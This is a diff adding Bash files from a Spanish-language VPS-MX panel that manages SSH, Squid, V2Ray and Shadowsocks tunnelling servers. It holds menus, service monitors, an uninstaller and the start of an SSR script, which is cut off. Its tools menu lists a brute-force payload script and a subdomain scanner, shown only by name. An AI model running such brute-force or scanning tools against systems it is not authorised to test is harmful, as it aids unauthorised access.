+   while [[ -d /proc/$pid ]]; do
+      echo -ne " \033[1;33m["
+      for ((i = 0; i < 10; i++)); do
+         echo -ne "\033[1;31m##"
+         sleep 0.2
+      done
+      echo -ne "\033[1;33m]"
+      sleep 1s
+      echo
+      tput cuu1
+      tput dl1
+   done
+   echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m"
+   sleep 1s
+}
+meu_ip() {
+   if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
+      echo "$(cat /etc/VPS-MX/MEUIPvps)"
+   else
+      MEU_IP=$(wget -qO- ifconfig.me)
+      echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
+   fi
+}
+fun_ip() {
+   if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
+      IP="$(cat /etc/VPS-MX/MEUIPvps)"
+   else
+      MEU_IP=$(wget -qO- ifconfig.me)
+      echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
+   fi
+}
+fun_eth() {
+   eth=$(ifconfig | grep -v inet6 | grep -v lo | grep -v 127.0.0.1 | grep "encap:Ethernet" | awk '{print $1}')
+   [[ $eth != "" ]] && {
+      msg -bar
+      msg -ama " $(fun_trans "Aplicar el sistema para mejorar los paquetes SSH?")"
+      msg -ama " $(fun_trans "Opciones para usuarios avanzados")"
+      msg -bar
+      read -p " [S/N]: " -e -i n sshsn
+      [[ "$sshsn" = @(s|S|y|Y) ]] && {
+         echo -e "${cor[1]} $(fun_trans "Correccion de problemas de paquetes en SSH ...")"
+         echo -e " $(fun_trans "¿Cual es la tasa RX?")"
+         echo -ne "[ 1 - 999999999 ]: "
+         read rx
+         [[ "$rx" = "" ]] && rx="999999999"
+         echo -e " $(fun_trans "¿Cual es la tasa TX?")"
+         echo -ne "[ 1 - 999999999 ]: "
+         read tx
+         [[ "$tx" = "" ]] && tx="999999999"
+         apt-get install ethtool -y >/dev/null 2>&1
+         ethtool -G $eth rx $rx tx $tx >/dev/null 2>&1
+      }
+      msg -bar
+   }
+}
+os_system() {
+   system=$(echo $(cat -n /etc/issue | grep 1 | cut -d' ' -f6,7,8 | sed 's/1//' | sed 's/      //'))
+   echo $system | awk '{print $1, $2}'
+}
+remove_script() {
+   clear
+   clear
+   msg -bar
+   msg -tit
+   msg -ama "          ¿ DESEA DESINSTALAR SCRIPT ?"
+   msg -bar
+   echo -e " Esto borrara todos los archivos del scrip VPS_MX"
+   msg -bar
+   while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+      read -p " [S/N]: " yesno
+      tput cuu1 && tput dl1
+   done
+   if [[ ${yesno} = @(s|S|y|Y) ]]; then
+      rm -rf ${SCPdir} &>/dev/null
+      rm -rf ${SCPusr} &>/dev/null
+      rm -rf ${SCPinst} &>/dev/null
+      [[ -e /bin/VPS-MX ]] && rm /bin/VPS-MX
+      [[ -e /usr/bin/VPS-MX ]] && rm /usr/bin/VPS-MX
+      [[ -e /bin/menu ]] && rm /bin/menu
+      [[ -e /usr/bin/menu ]] && rm /usr/bin/menu
+      cd $HOME
+   fi
+   sudo apt-get --purge remove squid -y >/dev/null 2>&1
+   sudo apt-get --purge remove stunnel4 -y >/dev/null 2>&1
+   sudo apt-get --purge remove dropbear -y >/dev/null 2>&1
+}
+systen_info() {
+   clear
+   clear
+   msg -bar
+   msg -tit
+   msg -ama "$(fun_trans "                DETALLES DEL SISTEMA")"
+   null="\033[1;31m"
+   msg -bar
+   if [ ! /proc/cpuinfo ]; then
+      msg -verm "$(fun_trans "Sistema No Soportado")" && msg -bar
+      return 1
+   fi
+   if [ ! /etc/issue.net ]; then
+      msg -verm "$(fun_trans "Sistema No Soportado")" && msg -bar
+      return 1
+   fi
+   if [ ! /proc/meminfo ]; then
+      msg -verm "$(fun_trans "Sistema No Soportado")" && msg -bar
+      return 1
+   fi
+   totalram=$(free | grep Mem | awk '{print $2}')
+   usedram=$(free | grep Mem | awk '{print $3}')
+   freeram=$(free | grep Mem | awk '{print $4}')
+   swapram=$(cat /proc/meminfo | grep SwapTotal | awk '{print $2}')
+   system=$(cat /etc/issue.net)
+   clock=$(lscpu | grep "CPU MHz" | awk '{print $3}')
+   based=$(cat /etc/*release | grep ID_LIKE | awk -F "=" '{print $2}')
+   processor=$(cat /proc/cpuinfo | grep "model name" | uniq | awk -F ":" '{print $2}')
+   cpus=$(cat /proc/cpuinfo | grep processor | wc -l)
+   [[ "$system" ]] && msg -ama "$(fun_trans "Sistema"): ${null}$system" || msg -ama "$(fun_trans "Sistema"): ${null}???"
+   [[ "$based" ]] && msg -ama "$(fun_trans "Base"): ${null}$based" || msg -ama "$(fun_trans "Base"): ${null}???"
+   [[ "$processor" ]] && msg -ama "$(fun_trans "Procesador"): ${null}$processor x$cpus" || msg -ama "$(fun_trans "Procesador"): ${null}???"
+   [[ "$clock" ]] && msg -ama "$(fun_trans "Frecuencia de Operacion"): ${null}$clock MHz" || msg -ama "$(fun_trans "Frecuencia de Operacion"): ${null}???"
+   msg -ama "$(fun_trans "Uso del Procesador"): ${null}$(ps aux | awk 'BEGIN { sum = 0 }  { sum += sprintf("%f",$3) }; END { printf " " "%.2f" "%%", sum}')"
+   msg -ama "$(fun_trans "Memoria Virtual Total"): ${null}$(($totalram / 1024))"
+   msg -ama "$(fun_trans "Memoria Virtual En Uso"): ${null}$(($usedram / 1024))"
+   msg -ama "$(fun_trans "Memoria Virtual Libre"): ${null}$(($freeram / 1024))"
+   msg -ama "$(fun_trans "Memoria Virtual Swap"): ${null}$(($swapram / 1024))MB"
+   msg -ama "$(fun_trans "Tempo Online"): ${null}$(uptime)"
+   msg -ama "$(fun_trans "Nombre De La Maquina"): ${null}$(hostname)"
+   msg -ama "$(fun_trans "IP De La  Maquina"): ${null}$(ip addr | grep inet | grep -v inet6 | grep -v "host lo" | awk '{print $2}' | awk -F "/" '{print $1}')"
+   msg -ama "$(fun_trans "Version de Kernel"): ${null}$(uname -r)"
+   msg -ama "$(fun_trans "Arquitectura"): ${null}$(uname -m)"
+   msg -bar
+   return 0
+}
+float_data() {
+   valuest=$(ps ax | grep /etc/shadowsocks-r | grep -v grep)
+   [[ $valuest != "" ]] && valuest="\033[1;32m[ON]" || valuest="\033[1;31m[OFF]"
+   ofc="\033[0m${gren}(#OFICIAL)"
+   dev="\033[0m${yellow}(#BETA)"
+   dev2="\033[0m${red}(#PREMIUM)"
+   case $1 in
+   "ADMbot-VEN.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "=>>") " && msg -azu "BOT-USA1 VENTAS $dev2" ;;
+
+   "openssh.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "OPENSSH $(pid_inst sshd)" ;;
+
+   "squid.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "SQUID ---------------------------- $(pid_inst squid)" ;;
+   "dropbear.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "DROPBEAR ------------------------- $(pid_inst dropbear)" ;;
+   "openvpn.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "OPENVPN -------------------------- $(pid_inst openvpn)" ;;
+   "ssl.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "SSL ------------------------------ $(pid_inst stunnel4)" ;;
+   "shadowsocks.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "SHADOWSOCKS-NORMAL --------------- $(pid_inst ssserver)" ;;
+   "Shadowsocks-libev.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "SHADOWSOCKS-LIBEV ---------------- $(pid_inst ss-server)" ;;
+   "Shadowsocks-R.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "SHADOWSOCKS-R -------------------- ${valuest}" ;;
+   "sockspy.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "SOCKS PYTHON --------------------- $(pid_inst python)" ;;
+   "v2ray.sh") echo -ne "$(msg -verd "[$2]") $(msg -verm2 "==>>") " && msg -azu "V2RAY ---------------------------- $(pid_inst v2ray)" ;;
+   "budp.sh") echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "BADVPN-(UDP:7300) ---------------- $(pid_inst badvpn)" ;;
+
+   "python.py") return 1 ;;
+   "paysnd.sh") return 1 ;;
+   "ultrahost") return 1 ;;
+   "speed.py") return 1 ;;
+   "speedtest_v1") return 1 ;;
+   "apacheon.sh") return 1 ;;
+   "ports.sh") return 1 ;;
+   "dns-netflix.sh") return 1 ;;
+   "tcp.sh") return 1 ;;
+   "gestor.sh") return 1 ;;
+   "squidpass.sh") return 1 ;;
+   "fai2ban.sh") return 1 ;;
+   "blockBT.sh") return 1 ;;
+   "utils.sh") return 1 ;;
+   "ADMbot.sh") return 1 ;;
+   "C-SSR.sh") return 1 ;;
+   "Crear-Demo.sh") return 1 ;;
+   "pwd.pwd") return 1 ;;
+   "PDirect.py") return 1 ;;
+   "PGet.py") return 1 ;;
+   "POpen.py") return 1 ;;
+   "PPriv.py") return 1 ;;
+   "PPub.py") return 1 ;;
+   "SSH20.log") return 1 ;;
+   *) echo -ne "$(msg -verd " [$2]") $(msg -verm2 "==>>") " && msg -azu "${1^^} \033[1;33m No Hay Una Descripcion !" ;;
+   esac
+}
+ferramentas_fun() {
+   clear
+   clear
+   tput cuu1 && tput dl1
+   msg -bar2
+   msg -tit
+   msg -ama "                 MENU DE HERRAMIENTAS"
+   msg -bar2
+   local Numb=1
+   for arqs in $(ls ${SCPfrm}); do
+      float_data "$arqs" "$Numb" && {
+         script[$Numb]="$arqs"
+         let Numb++
+      }
+   done
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "ADMINISTAR MEDIENTE BOT DE TELEGAM  $ofc"
+   script[$Numb]="ADMbot.sh"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "NOTIFICACIONES NOTY-BOT             $ofc"
+   script[$Numb]="NotyBOT.py"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "COMPARTIR ARCHIVO ONLINE            $ofc"
+   script[$Numb]="apacheon.sh"
+   echo -e "\033[1;93m-----------------------SEGURIDAD---------------------"
+   #PROTECION
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "FIREWALL PARA VPS VPS•MX            $ofc"
+   script[$Numb]="blockBT.sh"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "FAIL2BAN PROTECION                  $ofc"
+   script[$Numb]="fai2ban.sh"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "AUTENTIFICAR PROXY SQUID            $ofc"
+   script[$Numb]="squidpass.sh"
+   echo -e "\033[1;93m--------------------AJUSTES INTERNOS-----------------"
+   #AJUSTES INTERNOS
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "TCP ACELERACION (BBR/PLUS)          $dev"
+   script[$Numb]="tcp.sh"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "AGREGAR DNS NETFLIX By @USA1_BOT    $ofc"
+   script[$Numb]="dns-netflix.sh"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "ADMINISTRAR PUERTOS ACTIVOS         $ofc"
+   script[$Numb]="ports.sh"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "Pass Root/Add root/Horario/etc..   $ofc"
+   script[$Numb]="gestor.sh"
+   #OPTIMIZADORES
+   echo -e "\033[1;93m---------------------OPTIMIZADORES-------------------"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "Limpiar/Cache/Ram/Librerias/etc..  $ofc"
+   script[$Numb]="utils.sh"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "DETALLES DE SISTEMA                $ofc"
+   script[$Numb]="systeminf"
+   #EXTRAS
+   echo -e "\033[1;93m-------------------------EXTRAS----------------------"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "PAYLOAD FUERZA BRUTA               $ofc"
+   script[$Numb]="paysnd.sh"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "SCANNER DE SUBDOMINIO              $ofc"
+   script[$Numb]="ultrahost"
+   let Numb++
+   echo -ne "$(msg -verd "[$Numb]") $(msg -verm2 ">") " && msg -azu "PRUEBA DE VELOCIDAD                $ofc"
+   script[$Numb]="speed.py"
+   echo -ne "$(msg -bar2)\n$(msg -verd "[0]") $(msg -verm2 ">") " && msg -bra "\e[97m\033[1;41m VOLVER \033[1;37m"
+   script[0]="voltar"
+   msg -bar2
+   selection=$(selection_fun $Numb)
+   [[ -e "${SCPfrm}/${script[$selection]}" ]] && {
+      ${SCPfrm}/${script[$selection]}
+   } || {
+      case ${script[$selection]} in
+      #"agregar")agregar_ferramenta;;
+      #"remove")remove_ferramenta;;
+      "limpar") limpar_caches ;;
+      "systeminf") systen_info ;;
+      *) return 0 ;;
+      esac
+   }
+}
+# Menu Instalaciones
+pid_inst() {
+   [[ $1 = "" ]] && echo -e "\033[1;31m[OFF]" && return 0
+   unset portas
+   portas_var=$(lsof -V -i -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND")
+   i=0
+   while read port; do
+      var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
+      [[ "$(echo -e ${portas[@]} | grep "$var1 $var2")" ]] || {
+         portas[$i]="$var1 $var2\n"
+         let i++
+      }
+   done <<<"$portas_var"
+   [[ $(echo "${portas[@]}" | grep "$1") ]] && echo -e "\033[1;32m[ON]" || echo -e "\033[1;31m[OFF]"
+}
+menu_inst() {
+   clear
+   clear
+   msg -bar
+   msg -tit
+   export -f fun_eth
+   export -f fun_bar
+   menuTXT="  \e[97m\033[1;41m VOLVER \033[1;37m"
+   msg -ama "                  MENU DE PROTOCOLOS "
+   msg -bar
+   local Numb=1
+   for arqs in $(ls ${SCPinst}); do
+      float_data "$arqs" "$Numb" && {
+         script[$Numb]="$arqs"
+         let Numb++
+      }
+   done
+   msg -bar
+   echo -ne "$(msg -verd " [0]") $(msg -verm2 "==>>") " && msg -bra "$menuTXT"
+   msg -bar
+   script[0]="voltar"
+   selection=999
+   selection=$(selection_fun $Numb)
+   [[ -e "${SCPinst}/${script[$selection]}" ]] && {
+      ${SCPinst}/${script[$selection]}
+   } || return 0
+}
+# MENU FLUTUANTE
+menu_func() {
+   local options=${#@}
+   local array
+   for ((num = 1; num <= $options; num++)); do
+      echo -ne "  $(msg -verd "[$num]") $(msg -verm2 "=>>") "
+      array=(${!num})
+      case ${array[0]} in
+      "-vd") msg -verd "\033[1;33m[!]\033[1;32m $(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g' ;;
+      "-vm") msg -verm2 "\033[1;33m[!]\033[1;31m $(fun_trans "${array[@]:1}")" | sed ':a;N;$!ba;s/\n/ /g' ;;
+      "-fi") msg -azu "$(fun_trans "${array[@]:2}") ${array[1]}" | sed ':a;N;$!ba;s/\n/ /g' ;;
+      *) msg -azu "$(fun_trans "${array[@]}")" | sed ':a;N;$!ba;s/\n/ /g' ;;
+      esac
+   done
+}
+# SISTEMA DE SELECAO
+selection_fun() {
+   local selection="null"
+   local range
+   for ((i = 0; i <= $1; i++)); do range[$i]="$i "; done
+   while [[ ! $(echo ${range[*]} | grep -w "$selection") ]]; do
+      echo -ne "\033[1;37m$(fun_trans " ► Selecione una Opcion"): " >&2
+      read selection
+      tput cuu1 >&2 && tput dl1 >&2
+   done
+   echo $selection
+}
+export -f msg
+export -f selection_fun
+export -f fun_trans
+export -f menu_func
+export -f meu_ip
+export -f fun_ip
+clear
+msg -bar
+msg -tit
+# echo -e "\033[1;31m[\033[1;32m $vesaoSCT\033[1;97m"
+# msg -bar
+title=$(echo -e "\033[1;96m$(cat ${SCPdir}/message.txt)")
+printf "%*s\n" $((($(echo -e "$title" | wc -c) + 55) / 2)) "$title"
+msg -bar
+echo -e "     \033[1;37mIP: \033[1;93m$(meu_ip)     \033[1;37mS.O: \033[1;96m$(os_system)"
+
+# echo -e "\033[1;37m  % CPU: \033[1;32m$_usop   \033[1;37mS.O: \033[1;96m$(os_system) \033[1;37m  % RAM: \033[1;32m$_usor"
+
+monservi_fun() {
+   clear
+   clear
+   monssh() {
+      sed -i "57d" /bin/monitor.sh
+      sed -i '57i EstadoServicio ssh' /bin/monitor.sh
+   }
+   mondropbear() {
+      sed -i "59d" /bin/monitor.sh
+      sed -i '59i EstadoServicio dropbear' /bin/monitor.sh
+   }
+   monssl() {
+      sed -i "61d" /bin/monitor.sh
+      sed -i '61i EstadoServicio stunnel4' /bin/monitor.sh
+   }
+   monsquid() {
+      sed -i "63d" /bin/monitor.sh
+      sed -i '63i [[ $(EstadoServicio squid) ]] && EstadoServicio squid3' /bin/monitor.sh
+   }
+   monapache() {
+      sed -i "65d" /bin/monitor.sh
+      sed -i '65i EstadoServicio apache2' /bin/monitor.sh
+   }
+   monv2ray() {
+      sed -i "55d" /bin/monitor.sh
+      sed -i '55i EstadoServicio v2ray' /bin/monitor.sh
+   }
+   msg -bar
+   msg -tit
+   echo -e "\033[1;32m          MONITOR DE SERVICIONS PRINCIPALES"
+
+   PIDVRF3="$(ps aux | grep "${SCPdir}/menu monitorservi" | grep -v grep | awk '{print $2}')"
+
+   PIDVRF5="$(ps aux | grep "${SCPdir}/menu moni2" | grep -v grep | awk '{print $2}')"
+
+   if [[ -z $PIDVRF3 ]]; then
+      sed -i '5a\screen -dmS very3 /etc/VPS-MX/menu monitorservi' /bin/resetsshdrop
+      msg -bar
+      echo -e "\033[1;34m          ¿Monitorear Protocolo SSH/SSHD?"
+      msg -bar
+      read -p "                    [ s | n ]: " monssh
+      sed -i "57d" /bin/monitor.sh
+      sed -i '57i #EstadoServicio ssh' /bin/monitor.sh
+      [[ "$monssh" = "s" || "$monssh" = "S" ]] && monssh
+      msg -bar
+      echo -e "\033[1;34m          ¿Monitorear Protocolo DROPBEAR?"
+      msg -bar
+      read -p "                    [ s | n ]: " mondropbear
+      sed -i "59d" /bin/monitor.sh
+      sed -i '59i #EstadoServicio dropbear' /bin/monitor.sh
+      [[ "$mondropbear" = "s" || "$mondropbear" = "S" ]] && mondropbear
+      msg -bar
+      echo -e "\033[1;34m            ¿Monitorear Protocolo SSL?"
+      msg -bar
+      read -p "                    [ s | n ]: " monssl
+      sed -i "61d" /bin/monitor.sh
+      sed -i '61i #EstadoServicio stunnel4' /bin/monitor.sh
+      [[ "$monssl" = "s" || "$monssl" = "S" ]] && monssl
+      msg -bar
+      echo -e "\033[1;34m            ¿Monitorear Protocolo SQUID?"
+      msg -bar
+      read -p "                    [ s | n ]: " monsquid
+      sed -i "63d" /bin/monitor.sh
+      sed -i '63i #[[ $(EstadoServicio squid) ]] && EstadoServicio squid3' /bin/monitor.sh
+      [[ "$monsquid" = "s" || "$monsquid" = "S" ]] && monsquid
+      msg -bar
+      echo -e "\033[1;34m            ¿Monitorear Protocolo APACHE?"
+      msg -bar
+      read -p "                    [ s | n ]: " monapache
+      sed -i "65d" /bin/monitor.sh
+      sed -i '65i #EstadoServicio apache2' /bin/monitor.sh
+      [[ "$monapache" = "s" || "$monapache" = "S" ]] && monapache
+      msg -bar
+      echo -e "\033[1;34m            ¿Monitorear Protocolo V2RAY?"
+      msg -bar
+      read -p "                    [ s | n ]: " monv2ray
+      sed -i "55d" /bin/monitor.sh
+      sed -i '55i #EstadoServicio v2ray' /bin/monitor.sh
+      [[ "$monv2ray" = "s" || "$monv2ray" = "S" ]] && monv2ray
+
+      #echo "screen -dmS very3 /etc/VPS-MX/menu monitorservi" >> /bin/resetsshdrop
+      cd ${SCPdir}
+      screen -dmS very3 ${SCPdir}/menu monitorservi
+      screen -dmS monis2 ${SCPdir}/menu moni2
+   else
+
+      for pid in $(echo $PIDVRF3); do
+         kill -9 $pid &>/dev/null
+         sed -i "6d" /bin/resetsshdrop
+      done
+
+      for pid in $(echo $PIDVRF5); do
+         kill -9 $pid &>/dev/null
+      done
+
+   fi
+   msg -bar
+   echo -e "             Puedes Monitorear desde:\n       \033[1;32m http://$(meu_ip):81/monitor.html"
+   msg -bar
+   [[ -z ${VERY3} ]] && monitorservi="\033[1;32m ACTIVADO " || monitorservi="\033[1;31m DESACTIVADO "
+   echo -e "            $monitorservi  --  CON EXITO"
+   msg -bar
+
+}
+monitor_auto() {
+   while true; do
+      monitor.sh 2>/dev/null
+      sleep 120s
+   done
+}
+if [[ "$1" = "monitorservi" ]]; then
+   monitor_auto
+   exit
+fi
+pid_kill() {
+   [[ -z $1 ]] && refurn 1
+   pids="$@"
+   for pid in $(echo $pids); do
+      kill -9 $pid &>/dev/null
+   done
+}
+monitorport_fun() {
+   while true; do
+      pidproxy3=$(ps x | grep "PDirect.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidproxy3 ]] && pid_kill $pidproxy3
+      pidpyssl=$(ps x | grep "python.py" | grep -v "grep" | awk -F "pts" '{print $1}') && [[ ! -z $pidpyssl ]] && pid_kill $pidpyssl
+      sleep 6h
+   done
+}
+if [[ "$1" = "moni2" ]]; then
+   monitorport_fun
+   exit
+fi
+SSHN="$(grep -c home /etc/passwd)"
+SSH2="$(echo ${SSHN} | bc)-2"
+echo "${SSH2}" | bc >/etc/VPS-MX/controlador/SSH20.log
+SSH3="$(less /etc/VPS-MX/controlador/SSH20.log)"
+SSH4="$(echo $SSH3)"
+user_info=$(cd /usr/local/shadowsocksr &>/dev/null && python mujson_mgr.py -l)
+user_total=$(echo "${user_info}" | wc -l)
+on="\033[1;92m[ON]" && off="\033[1;31m[OFF]"
+[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off
+echo -e "\033[1;97m   SSH REG:\033[1;92m $SSH4 \033[1;97m   SS-SSRR REG:\033[1;92m $user_total \033[1;97m   BADVPN: $badvpn"
+VERY="$(ps aux | grep "${SCPusr}/usercodes verificar" | grep -v grep)"
+VERY2="$(ps aux | grep "${SCPusr}/usercodes desbloqueo" | grep -v grep)"
+VERY3="$(ps aux | grep "${SCPdir}/menu monitorservi" | grep -v grep)"
+limseg="$(less /etc/VPS-MX/controlador/tiemlim.log)"
+[[ -z ${VERY} ]] && verificar="\033[1;31m[OFF]" || verificar="\033[1;32m[ON]"
+[[ -z ${VERY2} ]] && desbloqueo="\033[1;31m[OFF]" || desbloqueo="\033[1;32m[ON]"
+[[ -z ${VERY3} ]] && monitorservi="\033[1;31m[OFF]" || monitorservi="\033[1;32m[ON]"
+
+[[ -e ${SCPdir}/USRonlines ]] && msg -bar && msg -ne "\033[1;97m   LIMITADOR:\033[1;92m $verificar \033[1;97m DESBLOQUEO AUTOMATICO:\033[1;92m $desbloqueo\n   \033[1;32mCONECTADOS: " && echo -ne "\033[1;97m$(cat ${SCPdir}/USRonlines) "
+[[ -e ${SCPdir}/USRexpired ]] && msg -ne "   EXPIRADOS: " && echo -ne "\033[1;97m$(cat ${SCPdir}/USRexpired) " && msg -ne " \033[1;95m BLOQUEADOS: " && echo -e "\033[1;97m$(cat ${SCPdir}/USRbloqueados) \n\033[1;97m        ACTULIZACION DE MONITOR CADA: \033[1;34m $limseg s"
+creditoss() {
+   clear
+   msg -bar
+   msg -tit
+   echo -ne " \033[1;93m          CREDITOS Y REGISTRO DE CAMBIOS\n"
+   msg -bar
+   [[ -e ${SCPdir}/message.txt ]] && msg -bra " RESELLER AUTORIZADO: \n\033[1;96m $(cat ${SCPdir}/message.txt) "
+   [[ -e ${SCPdir}/key.txt ]] && msg -bra " KEY DE REGISTRO:\n \033[1;93m $(cat ${SCPdir}/key.txt)"
+   msg -bar
+   echo -ne "\033[1;97m        CAMBIOS DE LA VERSION 8.5\n"
+   echo -ne " - Compatible con Ubuntu's 14,16,18,20\n"
+   echo -ne "        (Server live's ext 0.4)\n"
+   echo -ne " - Compatibilidad Ubuntu 20, Squid,Openvpn,Dropbear\n"
+   echo -ne " - Cambio en el proceso del usercode\n"
+   echo -ne " - Menus Mas limpios\n"
+   echo -ne " - Se ajustaron menus con retorno\n"
+   echo -ne " - Ejecusion mas rapida de Comandos\n"
+   echo -ne " - Instalador mejorado retro Compatible \n"
+   echo -ne " - Add v2ray, opcion de port y tls manual \n"
+   echo -ne " - Se agregaron 2 comandos mas al BOT Gestor \n"
+   echo -ne "  (Bloquear y Desbloquear Usuarios, Como Ver Bloqueados)\n"
+   echo -ne " + Auto Install Python para Install Inicial \n"
+   echo -ne " + Selecionable Upgrade de S.O \n"
+   echo -ne " + Cambio de pass root \n"
+   echo -ne " + Se habilito el updater de menu \n"
+   echo -ne " + Mas liviano y sencillo de actulizar\n"
+   echo -ne " + Auto Reinicio Forzado (Actulizaciones de Ubuntu) \n"
+   echo -ne " + Auto root Directo \n"
+   echo -ne " + Error de IP Privada e IP Publica en menu \n"
+   msg -bar
+}
+monhtop() {
+   clear
+   msg -bar
+   msg -tit
+   echo -ne " \033[1;93m             MONITOR DE PROCESOS HTOP\n"
+   msg -bar
+   msg -bra "    RECUERDA SALIR CON : \033[1;96m CTRL + C o FIN + F10 "
+   [[ $(dpkg --get-selections | grep -w "htop" | head -1) ]] || apt-get install htop -y &>/dev/null
+   msg -bar
+   read -t 10 -n 1 -rsp $'\033[1;39m Preciona Enter Para continuar\n'
+   clear
+   sudo htop
+   msg -bar
+   msg -tit
+   echo -ne " \033[1;93m             MONITOR DE PROCESOS HTOP\n"
+   msg -bar
+   echo -e "\e[97m                  FIN DEL MONITOR"
+   msg -bar
+}
+msg -bar
+menu_func "ADMINISTRAR CUENTAS | SSH/SSL/DROPBEAR" "ADMINISTRAR CUENTAS | SS/SSRR" "ADMINISTRAR CUENTAS | V2RAY" "\033[1;100mINSTALADORES DE PROTOCOLOS" "PUERTOS ACTIVOS" "HERRAMIENTAS y EXTRAS" "CAMBIAR COLORES DEL PANEL" "MONITOR DE PROTOCOLOS --------> ${monitorservi}" " AUTO INICIAR SCRIPT ----------> $AutoRun "
+msg -bar
+echo -ne " $(msg -verd " [10]") $(msg -verm2 "=>>") \e[36m MONITOR DE PROCESOS DE SISTEMA CON HTOP \e[97m \n"
+msg -bar
+echo -ne " \e[93m [11] \e[97m $(msg -verm2 "=>>") $(msg -verd "ACTUALIZAR ") " && echo -ne "\e[93m [12] \e[97m $(msg -verm2 "=>>") " && msg -bra "\033[1;31m DESINSTALAR "
+msg -bar
+echo -ne "$(msg -verd "  [13]") $(msg -verm2 "=>>") " && echo -ne "\033[1;97mCREDITOS" && echo -ne "$(msg -verd " [0]") $(msg -verm2 "=>>") " && msg -bra "\033[1;41m ❗️ SALIR DEL SCRIPT ❗️ "
+msg -bar
+selection=$(selection_fun 13)
+case ${selection} in
+1) ${SCPusr}/usercodes "${idioma}" ;;
+2) ${SCPinst}/C-SSR.sh ;;
+3) ${SCPinst}/v2ray.sh ;;
+4) menu_inst ;;
+5) mine_port ;;
+6) ferramentas_fun ;;
+7) canbio_color ;;
+8) monservi_fun ;;
+9) fun_autorun ;;
+10) monhtop ;;
+11) atualiza_fun ;;
+12) remove_script ;;
+13) creditoss ;;
+0) cd $HOME && exit 0 ;;
+esac
+msg -ne "Enter Para Continuar" && read enter
+${SCPdir}/menu

+ 1 - 0
SCRIPT-v8.4g Oficial/VPS-MX/message.txt

@@ -0,0 +1 @@
+ SCRIPT FREE BY @KALIX1

+ 2077 - 0
SCRIPT-v8.4g Oficial/VPS-MX/protocolos/C-SSR.sh

@@ -0,0 +1,2077 @@
+#!/bin/bash
+#25/01/2021
+clear
+clear
+msg -bar
+PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
+export PATH
+SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+BARRA1="\e[0;31m--------------------------------------------------------------------\e[0m"
+SCPinst="/etc/ger-inst" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
+sh_ver="1.0.26"
+filepath=$(cd "$(dirname "$0")"; pwd)
+file=$(echo -e "${filepath}"|awk -F "$0" '{print $1}')
+ssr_folder="/usr/local/shadowsocksr"
+config_file="${ssr_folder}/config.json"
+config_user_file="${ssr_folder}/user-config.json"
+config_user_api_file="${ssr_folder}/userapiconfig.py"
+config_user_mudb_file="${ssr_folder}/mudb.json"
+ssr_log_file="${ssr_folder}/ssserver.log"
+Libsodiumr_file="/usr/local/lib/libsodium.so"
+Libsodiumr_ver_backup="1.0.16"
+Server_Speeder_file="/serverspeeder/bin/serverSpeeder.sh"
+LotServer_file="/appex/bin/serverSpeeder.sh"
+BBR_file="${file}/bbr.sh"
+jq_file="${ssr_folder}/jq"
+
+Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m"
+Info="${Green_font_prefix}[ INFORMACION ]${Font_color_suffix}"
+Error="${Red_font_prefix}[# ERROR #]${Font_color_suffix}"
+Tip="${Green_font_prefix}[ NOTA ]${Font_color_suffix}"
+Separator_1="——————————————————————————————"
+
+check_root(){
